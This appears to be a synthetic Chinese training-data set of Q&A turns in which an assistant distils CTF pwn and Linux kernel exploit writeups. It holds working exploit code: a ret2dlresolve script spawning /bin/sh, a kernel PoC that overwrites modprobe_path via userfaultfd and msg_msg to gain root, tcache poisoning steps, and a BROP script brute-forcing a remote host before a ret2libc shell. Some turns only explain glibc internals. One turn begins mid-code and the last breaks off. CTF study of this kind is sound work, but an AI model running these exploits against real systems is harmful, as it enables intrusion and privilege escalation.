[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2dlresolve/dl_resolve_64/32位/stage6.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2dlresolve/dl_resolve_64/32位/stage6.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwn import *`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x100`, `0x112`, `0x800`, `0x18540`, `0x774C5`, `0x8fa05`, `0x080481d8`, `0x08048278`, `0x08048330`, `0x08048380`, `0x08048458`, `0x08048619`, `0x0804861b`, `0x08049f54`, `0x08049f5c`, `0x08049f94`

训练用代码片段：
```python
#!/usr/bin/python
#coding:utf-8

from pwn import *
elf = ELF('bof')

offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

#x/100xw  GOT[4]
fake_link_map=bss_addr+0x100#elf.got['__libc_start_main']    #change!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
fake_st_value=0x774C5
val_0x34=0x08049f54
val_0x38=0x08049f5c
val_0x7c=0x08049f94
wait_time=0.1

r = process('bof')

r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset
payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(fake_link_map)#+0x34
payload += p32(0x100)
#payload += p32(read_plt)
#payload += p32(ppp_ret)
#payload += p32(0)
#payload += p32(fake_link_map+0x7c)
#payload += p32(4)
payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret)
payload += p32(base_stage)
payload += p32(leave_ret)
#print 'length of payload=',hex(len(payload))
#raw_input('wait')
r.sendline(payload)
'''
sleep(wait_time)
r.send(p32(val_0x34)+p32(val_0x38))
sleep(wait_time)
r.send(p32(val_0x7c))
sleep(wait_time)
'''
pay=''
pay=pay.ljust(0x34,'\x00')
pay+=p32(val_0x34)+p32(val_0x38)
pay=pay.ljust(0x7c,'\x00')
pay+=p32(val_0x7c)
pay=pay.ljust(0x100,'\x00')
sleep(wait_time)
r.send(pay)

gdb.attach(r,'b *0x08048458')
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
plt_1=plt_0+6
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
index_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc，减去rel_plt即偏移
write_got = elf.got['write']
dynsym = 0x080481d8 #readelf -S bof
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)# 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 16) - dynstr        # fake_sym（Elf32_Sym结构体）大小0x10
#fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
fake_sym = p32(st_name) + p32(fake_st_value) + p32(0) + p32(0x12)  #0x112

payload2 = 'AAAA'
payload2 += p32(plt_1)
payload2 += p32(fake_link_map)
payload2 += p32(index_offset)
payload2 += 'AAAA'   #ret_addr 返回地址
payload2 += p32(base_stage + 80)
#payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
raw_input('wait!!!')
r.sendline(payload2)
r.interactive()

#目标：0x8fa05 : cmp byte ptr [eax], dl ; pop edi ; ret
#>>> hex(elf.symbols['__libc_start_main'])
#'0x18540'
#fake_st_value=0x8fa05-0x18540=0x774C5
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「2. 后续提权」。
资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 2. 后续提权

泄露内核地址会消耗一次 `add`、`delete`、`edit`，因此还剩一次 UAF 机会。

最初尝试用 `pipe_buffer` 劫持 `release` 控制流，但没有找到稳定可用的栈迁移 gadget。例如：

```c
push_rsi_pop_rsp = 0xffffffff81934056; // push rsi; pop rsp; retf;
```

这里的 `retf` 会按 32 位语义弹出 `eip` 和 `cs`，不足以保存完整内核地址；而 `mov esp, esi` 一类 gadget 会清零高 32 位，同样不可用。

由于题目未开启 `CONFIG_STATIC_USERMODEHELPER`，最终选择利用 UAF 劫持 `kmalloc-0x400` freelist 到 `modprobe_path` 附近，然后通过 `msg_msg` 写入修改 `modprobe_path`。

需要注意：因为申请 size 较大，会清空 `modprobe_path` 附近内容，直接触发提权可能导致 kernel panic，所以需要恢复附近必要函数指针，其中 `kmod` 相关函数指针恢复是必要的。最后通过 `modprobe_path_hijack()` 修改 `/flag` 权限并读取 flag。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「4. 泄露 PIE」。
资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 4. 泄露 PIE

调用一次 hidden backdoor：

```python
door = backdoor("\x00" * 0x10)
pie = door - 0x12be
```

backdoor 会打印：

```text
magic address: %p
```

该地址是 `win` 函数地址，即 `pie + 0x12be`。由此得到 PIE base。

注意：这次调用后 `pie + 0x4010` 会从 1 变成 0，后面需要再把它改回 1，才能第二次使用 backdoor 写返回地址。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「堆溢出」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 堆溢出

堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数（之所以是可使用而不是用户申请的字节数，是因为堆管理器会对用户所申请的字节数进行调整，这也导致可利用的字节数都不小于用户申请的字节数），因而导致了数据溢出，并覆盖到**物理相邻的高地址**的下一个堆块。

不难发现，堆溢出漏洞发生的基本前提是

+ 程序向堆上写入数据。
+ 写入的数据大小没有被良好地控制。

对于攻击者来说，堆溢出漏洞轻则可以使得程序崩溃，重则可以使得攻击者控制程序执行流程。

堆溢出是一种特定的缓冲区溢出（还有栈溢出， bss 段溢出等）。但是其与栈溢出所不同的是，堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据，因此我们一般无法直接通过堆溢出来控制 EIP 。一般来说，我们利用堆溢出的策略是

1. 覆盖与其**物理相邻的下一个 chunk** 的内容。
   - `prev_size`
   - `size`，主要有三个比特位，以及该堆块真正的大小。
     * `NON_MAIN_ARENA`
     * `IS_MAPPED`
     * `PREV_INUSE`
     * the True chunk size
   - chunk content，从而改变程序固有的执行流。
2. 利用堆中的机制（如 unlink 等 ）来实现任意地址写入（ Write-Anything-Anywhere）或控制堆块中的内容等效果，从而来控制程序的执行流。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「分配策略」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 分配策略

假设有如下情境：一台只含有一个处理器核心的PC机安装有32位操作系统，其上运行了一个多线程应用程序，共含有4个线程——主线程和三个用户线程。显然线程个数大于系统能维护的最大arena个数（2* 核心数 + 1= 3），那么此时glibc malloc就需要确保这4个线程能够正确地共享这3个arena，那么它是如何实现的呢？

当主线程首次调用malloc的时候，glibc malloc会直接为它分配一个main arena，而不需要任何附加条件。

当用户线程1和用户线程2首次调用malloc的时候，glibc malloc会分别为每个用户线程创建一个新的thread arena。此时，各个线程与arena是一一对应的。但是，当用户线程3调用malloc的时候，就出现问题了。因为此时glibc malloc能维护的arena个数已经达到上限，无法再为线程3分配新的arena了，那么就需要重复使用已经分配好的3个arena中的一个(main arena, arena 1或者arena 2)。那么该选择哪个arena进行重复利用呢？

1)首先，glibc malloc循环遍历所有可用的arenas，在遍历的过程中，它会尝试lock该arena。如果成功lock(该arena当前对应的线程并未使用堆内存则表示可lock)，比如将main arena成功lock住，那么就将main arena返回给用户，即表示该arena被线程3共享使用。

2)而如果没能找到可用的arena，那么就将线程3的malloc操作阻塞，直到有可用的arena为止。

3)现在，如果线程3再次调用malloc的话，glibc malloc就会先尝试使用最近访问的arena(此时为main arena)。如果此时main arena可用的话，就直接使用，否则就将线程3阻塞，直到main arena再次可用为止。

这样线程3与主线程就共享main arena了。至于其他更复杂的情况，以此类推。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「Group drain curve」。
资料来源：Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md；主题：d3kheap2pro cross-cache / Dirty Pagetable experiment log；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### Group drain curve

Freeing slot groups of 16 shows the allocator keeps the early groups cached, then starts discarding from group 11:

```text
group 00..10: num_slabs stays 33
free group 11: num_slabs 32
free group 12: num_slabs 31
...
free group 31: num_slabs 12
```

Practical implication: after a full first free, stale slots from around slot `176` onward are more likely to refer to slab pages that were discarded rather than retained in the private cache partial list.


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「完整利用脚本」。
资料来源：IO-FILE/2025hgame hit list/WP.md；主题：2025 HGame - Hit list Writeup；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 完整利用脚本

当前目录下 `exp.py` 已经是可运行版本。核心常量如下：

```python
LIBC_LEAK_OFFSET = 0x21AD30
IO_OBSTACK_JUMPS = 0x2173C0
```

运行：

```bash
python3 exp.py TEST
```

测试成功：

```text
__HIT_LIST_PWNED__
uid=0(root) gid=0(root) ...
memory exhausted
```

如果打远程：

```bash
python3 exp.py REMOTE HOST=<host> PORT=<port>
```

---


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「PoC」。
资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
_ops_buf,0x208);
    // leak(page,0x208);
    // strcpy(page,"Lotus_just_Test");
    uc.src = (unsigned long) page;
    uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
    uc.len = PAGE_SIZE;
    uc.mode = 0;
    uc.copy = 0;
    ioctl(uffd, UFFDIO_COPY, &uc);

    puts("[+] edit heap->next handler down!");
    return NULL;
}

void UAF2()
{
    sem_wait(&edit_heap_next);
    delete(0);
    sem_post(&edit_down);
}

void modprobe_path_hijack(void){
    puts("[*] Returned to userland, setting up for fake modprobe");
    system("echo '#!/bin/sh\nchmod 777 /flag\n' > /tmp/Lotus.sh");

    system("chmod +x /tmp/Lotus.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake");
    system("chmod +x /tmp/fake");
    // system("cat /proc/sys/kernel/modprobe");
    puts("[*] Run unknown file");
    system("/tmp/fake");
    system("ls -al /flag");
    system("cat /flag");

    RED puts("[*]Get shell!"); CLOSE
    sleep(5);
}

int main()
{

    pthread_t edit_t,edit2_t;

    msg_buf = malloc(0x1000);
    memset(msg_buf, 0, 0x1000);

    fd = open("/dev/kernelpwn",O_RDWR);
    buf = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); //for edit msg->m_ts

    buf2 = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);//for spray the msg_msg and edit msg->next

    RegisterUserfault(buf,fault_handler_thread);
    RegisterUserfault(buf2,fault_handler_thread2);

    sem_init(&sem_addmsg,0,0);
    sem_init(&sem_editmsg,0,0);
    sem_init(&edit_heap_next,0,0);
    sem_init(&sem_edit_msg_for_modpath,0,0);
    sem_init(&edit_down,0,0);

    add("TEST_chunk");
    pthread_create(&edit_t,NULL,UAF,0);
    pthread_create(&edit2_t,NULL,UAF2,0);

    edit(0,0x20,buf);
    GREEN puts("[*]Write in!"); CLOSE

    for (int i = 0; i < 1; i++)
    {
        if (pipe(pipe_fd[i]) < 0)
        {
            RED puts("failed to create pipe!"); CLOSE
        }

        if (write(pipe_fd[i][1], "_Lotus_", 8) < 0)
        {
            RED puts("failed to write the pipe!"); CLOSE
        }
    }

    RED puts("[*] pipe_buffer spraying finish."); CLOSE

    memset(tmp_buf, 0, 0x1000);
    if(peekMsg(ms_qid[0],tmp_buf,0xe00,0)<0)
    {
        RED puts("[*]Leak error!"); CLOSE
    }
    // leak(tmp_buf,0xd00);
    kernel_base = tmp_buf[0x7e8/8]-0x103ed80;
    size_t pipe_addr =  tmp_buf[0x3e0/8]+0xc00;
    BLUE printf("[*]Kernel_base: 0x%llx\n",kernel_base); CLOSE
    BLUE printf("[*]pipe_addr: 0x%llx\n",pipe_addr); CLOSE

    close(pipe_fd[0][0]);
    close(pipe_fd[0][1]);
    // size_t push_rsi_pop_rsp = real(0xffffffff81934056);//push rsi; pop rsp; retf;
    // size_t push_rsi_pop_rbp = real(0xffffffff81422d1f);//push rsi; pop rbp; ret;
    // size_t call_rsi_leave_ret = real(0xffffffff81c0114d);//call rsi; nop; nop; nop; leave; ret;
    size_t modprobe_path = real(0xffffffff82a6c000);
    memset(fake_ops_buf, 0x61,0x800);

    fake_ops_buf[0x200/8] = modprobe_path-0xc0;

    add("Lotus_chunk");

    edit(0,0x208,buf2);

    for (int i = 1; i < 0x3; i++)
    {
        ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
        if (ms_qid[i] < 0)
        {
            puts("[x] msgget!");
            return -1;
        }
    }

    size_t modprobe_path_buf[0x80];
    memset(modprobe_path_buf,0,0x400);
    int idx=0x34;
    modprobe_path_buf[idx++]=real(0xffffffff82a6c108);
    modprobe_path_buf[idx++]=real(0xffffffff82a6c108);
    modprobe_path_buf[idx++]=0x32;

    modprobe_path_buf[0]=0xdeadbeef;

    modprobe_path_buf[0x13]=0x746f4c2f706d742f;
    modprobe_path_buf[0x14]=0x68732e7375;

    for (int i = 1; i < 0x3; i++)
    {

        int ret = msgsnd(ms_qid[i], modprobe_path_buf, 0x400 - 0x30, 0);
        if (ret < 0)
        {
            puts("[x] msgsnd!");
            return -1;
        }
    }
    RED puts("[*]edit modprobe_path success."); CLOSE
    modprobe_path_hijack();


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「7. 恢复 hidden backdoor 使用次数」。
资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 7. 恢复 hidden backdoor 使用次数

hidden backdoor 只能用一次，而最后还需要借助它的 `read(0, ptr, 0x10)` 往栈上写 16 字节。因此需要把 `pie + 0x4010` 改回 1。

先 poison `0x30` bin 到全局变量：

```python
shot = pie + 0x4010
add(1, 0x20)
dele()
edit(p64(shot ^ (heap_addr >> 12)))
```

然后 malloc 到 `pie + 0x4010` 并写 1：

```python
add(1, 0x20)
add(1, 0x20)
edit(p64(1))
```

这样隐藏选项 5 又可以再调用一次。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/tcache attack/tcache绕过/patch.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/tcache attack/tcache绕过/patch.sh`

分类：heap

语言：bash

利用主题关键词：
- heap/tcache

训练用代码片段：
```bash
#!/bin/bash

VERSION=2.27
LIBC_NAME=libc.so.6
LD_NAME=ld-linux-x86-64.so.2

gcc pwn.c -o pwn -g
cp /glibc/${VERSION}/amd64/lib/${LIBC_NAME} .
cp /glibc/${VERSION}/amd64/lib/${LD_NAME} .

chmod 777 ${LIBC_NAME}
chmod 777 ${LD_NAME}

patchelf --replace-needed libc.so.6 ./${LIBC_NAME} ./pwn
patchelf --set-interpreter ./${LD_NAME} ./pwn
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/条件竞争/racetest/demo.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/条件竞争/racetest/demo.c`

分类：misc_vuln

语言：c

环境/依赖线索：
- `#include <pthread.h>`
- `#include <stdio.h>`
- `#include <stdlib.h>`

函数/封装：
- `main`

利用主题关键词：
- seccomp/orw

训练用代码片段：
```c
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>

int counter;
void *IncreaseCounter(void *args) {
  counter += 1;
  sleep(0.1);
  printf("Thread %d has counter value %d\n", (unsigned int)pthread_self(),
         counter);
}

int main() {
  pthread_t p[10];
  for (int i = 0; i < 10; ++i) {
    pthread_create(&p[i], NULL, IncreaseCounter, NULL);
  }
  for (int i = 0; i < 10; ++i) {
    pthread_join(p[i], NULL);
  }
  return 0;
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「Search result」。
资料来源：Kernel/2026d3ctf-d3kheap2pro/WEB_REFERENCE_NOTES.md；主题：Internet reference notes for d3kheap2pro；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## Search result

I did not find a public writeup for the exact name `d3kheap2pro`. The closest direct reference is the official/public `D3CTF2025_d3kheap2` writeup and exploit by arttnba3, plus general cross-cache / Dirty PageTable material.


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「调用GetSize函数来获取密码长度」。
资料来源：stack.md；主题：栈利用；分类：stack。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# 调用GetSize函数来获取密码长度
size = GetSize()
print(f"buffer size is [{size}]")
```

[图片: 点击并拖拽以移动]

运行脚本之后我们获取到了缓冲区长度：216。

这 216 是包含`rbp`和`canary`在内的。

```
buffer size is [216]
```

[图片: 点击并拖拽以移动]

- 寻找 stop gadget

这里我们同样通过暴力枚举来寻找一个返回到那里程序不会崩溃的地址，通常是`main`函数的地址。

如果我们枚举到了`main`函数的地址，那么程序就会返回到`main`函数再次执行一次，我们可以通过执行`main`函数的特征来判断我们是否成功返回到了`main`函数。

```
def GetStopAddr(size_len):
    address=0x4007d0
    while True:
        print(hex(address))
        try:
            io=remote("node5.buuoj.cn",25820)
            io.recvuntil(sc)
            payload = b'a'*size_len + p64(address)
            print(payload)
            io.send(payload)
            time.sleep(0.1)
            buf = io.recv()
            print(buf)
            output = io.recv()
            print(output)
            #如果不是以指定内容开头，则程序没有成功返回到main函数头部开始执行
            if b'Hello,' not in output:
                io.close()
                address += 1
            else:
                return address
        #触发栈溢出异常
        except EOFError:
            address += 1
            io.close()
stop_gadgets = GetStopAddr(216)
print('stop gadgets = 0x%x' % stop_gadgets)
```

[图片: 点击并拖拽以移动]

最后结果是`0x4007d6`。

```
stop gadgets = 0x4007d6
```

[图片: 点击并拖拽以移动]

- 寻址 brop gadgets

这里同样枚举遍历即可。

```
def GetBropGadget(length, stop_gadget, addr):
    try:
        io=remote("node5.buuoj.cn",25820)
        io.recvuntil(sc)
        #通过枚举地址找到一个可以进行pop数据6次的gadget，后面加上的0是为了确保程序异常时崩溃
        payload=b'a'*length+p64(addr)+p64(0)*6+p64(stop_gadget)+p64(0)*10
        io.send(payload)
        time.sleep(0.1)
        buf = io.recv()
        print(buf)
        output = io.recv()
        io.close()
        print(output)
        #如果程序找到了pop数据6次的gadget，则最后一定会正确返回到main函数地址
        if ts not in output:
            return False
        return True
    except EOFError:
         io.close()
         return False

#校验找到的gadgets是否正确
def Check(length,addr):
    try:
        io=remote("node5.buuoj.cn",25820)
        io.recvuntil(sc)
        payload=b'a'*length+p64(addr)+b'a'*8*10
        io.send(payload)
        time.sleep(0.1)
        output = io.recv()
        io.close()
        print(output)
        return False
    except EOFError:
         io.close()
         return True

size_len=216
stop_gadget = 0x4007d6
addr = 0x400500
print('stop gadget = 0x%x'%stop_gadget)

while True:
    print(hex(addr))
    if GetBropGadget(size_len,stop_gadget,addr):
        print("brop gadget: 0x%x"% addr)
        if Check(size_len,addr):
            print("brop gadget: 0x%x"% addr)
            break
    addr+=1
```

[图片: 点击并拖拽以移动]

找到 brop gadgets 地址`0x40095a`。

```
brop_gadget = 0x40095a
```

[图片: 点击并拖拽以移动]

- 找 PLT

我们通过从一个地址开始遍历，如果能够实现我们想要的函数功能，那么就说明我们找到了 PLT。

我们需要操作函数传参对应的 gadget，首当其冲的是`pop rdi;ret`。而在`libc_csu_init`中的`pop r15;ret`对应的字节码为`41 5f c3`，后两字节码`5f c3`对应的汇编即为`pop rdi;ret`。

而`libc_csu_init`中`pop rbx`和`pop rdi;ret`的偏移是固定的 9 字节，所以我们可以将 brop gadgets 加上 4 字节得到`pop rdi;ret`的地址。

```
def GetPutsPlt(length,pop_rdi_ret,stop_gadget):
    addr = 0x400600
    while True:
        print(hex(addr))
        try:
            io=remote("node5.buuoj.cn",25820)
            io.recvuntil(sc)
            payload = b'a'*length + p64(pop_rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
            io.send(payload)
            time.sleep(0.1)
            buf = io.recv()
            output = io.recv()
            #这里是ELF文件的头部魔数，我们通过是否输出了ELF文件的头部来判断是否找到了plt的地址
            if b'\x7fELF' in output:
                print('puts plt address = 0x%x' % (addr+1))
                return addr+1
            addr += 1
        except EOFError:
            io.close()
            addr += 1
brop_gadget = 0x40095a
pop_rdi_ret = 0x40095a+9
GetPutsPlt(size_len,pop_rdi_ret,stop_gadget)
```

[图片: 点击并拖拽以移动]

找到 PLT 表地址`0x400636`。

```
puts plt address = 0x400636
```

[图片: 点击并拖拽以移动]

- dump 程序

```
def leak(offset,pop_rdi_ret,puts_plt,leak_addr,stop_addr):
    io=remote("node5.buuoj.cn",25820)
    payload = b'a'*offset + p64(pop_rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_addr)
    io.recvuntil(b"Please tell me:")
    io.sendline(payload)
    io.recvuntil(b'a'*offset)
    io.recv(3) #0x400635 -> 3byte \x00 stop !!!
    try:
        output = io.recv(timeout = 1)
        io.close()
        try:
            output = output[:output.index(b"\nHello,I am a computer")]
            print(output)
        except Exception:
            output = output
        if output == b"":
            output = b"\x00"
        return output
    except Exception:
        io.close()
        return None

def dump_file(offset,pop_rdi_ret,puts_plt,addr,stop_addr):
    result =b''
    while addr < 0x402300:
       print(hex(addr))
       output = leak(offset, pop_rdi_ret,puts_plt,addr,stop_addr)
       if output is None:
          result += b'\x00'
          addr += 1
          continue
       else:
          result += output
       addr += len(output)
       with open('dump_file','wb') as f:
          f.write(result)
dump_file(size_len,pop_rdi_ret,puts_plt,0x400000,stop_gadget)
```

dump 程序后获取到`puts`函数`GOT`表地址，然后即可进行 ret2libc了。

```
got address = 0x601018
```

- 最后进行 ret2libc

```python
def exp(offset,pop_rdi_ret,puts_got,puts_plt,stop_gadget):
    io=remote("node5.buuoj.cn",25820)
    libc=ELF("/buu/64/libc-2.23.so")
    ret = 0x40095a + 0x9 + 0x5
    payload = b'a'*offset
    payload += p64(pop_rdi_ret)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(stop_gadget)
    io.recvuntil(b"Please tell me:")
    io.sendline(payload)
    io.recvuntil(b'a'*offset)
    io.recv(3)
    func_addr = io.recv(6)
    puts_addr = u64(func_addr.ljust(8,b'\x00'))
    print(hex(puts_addr))
    libcbase=puts_addr-libc.sym.puts
    sys=libcbase+libc.sym.system
    sh=libcbase+next(libc.search("/bin/sh\x00"))
    io.recvuntil(b"Please tell me:")
    payload = b'a'*offset + p64(ret) + p64(pop_rdi_ret) + p64(sh) + p64(sys) + p64(stop_gadget)
    io.sendline(payload)
    io.interactive()

exp(size_len,pop_rdi_ret,0x601018,puts_plt,stop_gadget)
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「tcache poisoning」。
资料来源：IO-FILE/2025hgame hit list/WP.md；主题：2025 HGame - Hit list Writeup；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## tcache poisoning

exp 将伪造的 fake FILE 区域放在堆上：

```python
victim = heap_base + 0x1190 + 0x10
fake_fd = ((heap_base + 0x1000) >> 12) ^ (io_list_all + 0x70)
```

随后清空当前链表，并准备 `0x100` 大小 tcache：

```python
for _ in range(5):
    delete(0)

for i in range(9):
    add(i, b'zena', 0xF0, (str(i) * 0x10).encode())
add(2, b'gap', 0x30, b'0')

for _ in range(7):
    delete(0)
delete(1)
delete(0)

add(1, b'Hakuya', 0xF0, b'0')
```

然后使用负数大小触发隐藏任意 free：

```python
add(1, b'L0tus', -9, hex(victim).encode() + b'\n')
```

任意 free 后，`victim` 进入 tcache。接着通过一次可控写覆盖 freed chunk 的 `fd`：

```python
payload = b'0' * 0xF0
payload += p64(0x100)
payload += p64(fake_fd)
add(1, b'1sez', 0x130, payload)
```

其中 `fake_fd` 是经过 safe-linking 编码后的 `_IO_list_all + 0x70`，使后续同尺寸 malloc 返回 `_IO_list_all` 附近地址。

---


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Kernel/2026d3ctf-d3kheap2pro/exp.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Kernel/2026d3ctf-d3kheap2pro/exp.c`

分类：kernel

语言：c

环境/依赖线索：
- `#include <stdio.h>`
- `#include <stdlib.h>`
- `#include <unistd.h>`
- `#include <fcntl.h>`
- `#include <sched.h>`
- `#include <stdint.h>`
- `#include <string.h>`
- `#include <sys/ioctl.h>`
- `#include <sys/msg.h>`
- `#include <sys/mman.h>`
- `#include <sys/resource.h>`
- `#include <sys/prctl.h>`

函数/封装：
- `arbitrary_read_by_pipe`
- `arbitrary_write_by_pipe`
- `banner`
- `bind_core`
- `d3kheap2_alloc`
- `d3kheap2_edit`
- `d3kheap2_free`
